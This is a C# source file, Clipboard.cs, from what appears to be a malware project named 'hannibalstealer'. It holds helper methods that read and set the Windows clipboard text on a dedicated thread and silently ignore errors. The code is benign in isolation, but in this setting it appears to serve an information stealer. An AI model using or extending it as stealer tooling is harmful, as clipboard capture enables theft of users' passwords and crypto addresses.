Files
hannibalstealer/Clipboard.cs
T
2026-08-27 11:22:57 -06:00

41 lines
921 B
C#

using System.Threading;
namespace SHARP
{
internal class Clipboard
{
public static string GetText()
{
string ReturnValue = string.Empty;
try
{
Thread thread = new Thread((ThreadStart) (() => ReturnValue = System.Windows.Forms.Clipboard.GetText()));
thread.SetApartmentState(ApartmentState.STA);
thread.Start();
thread.Join();
}
catch
{
}
return ReturnValue;
}
public static void SetText(string text)
{
Thread thread = new Thread((ThreadStart) (() =>
{
try
{
System.Windows.Forms.Clipboard.SetText(text);
}
catch
{
}
}));
thread.SetApartmentState(ApartmentState.STA);
thread.Start();
thread.Join();
}
}
}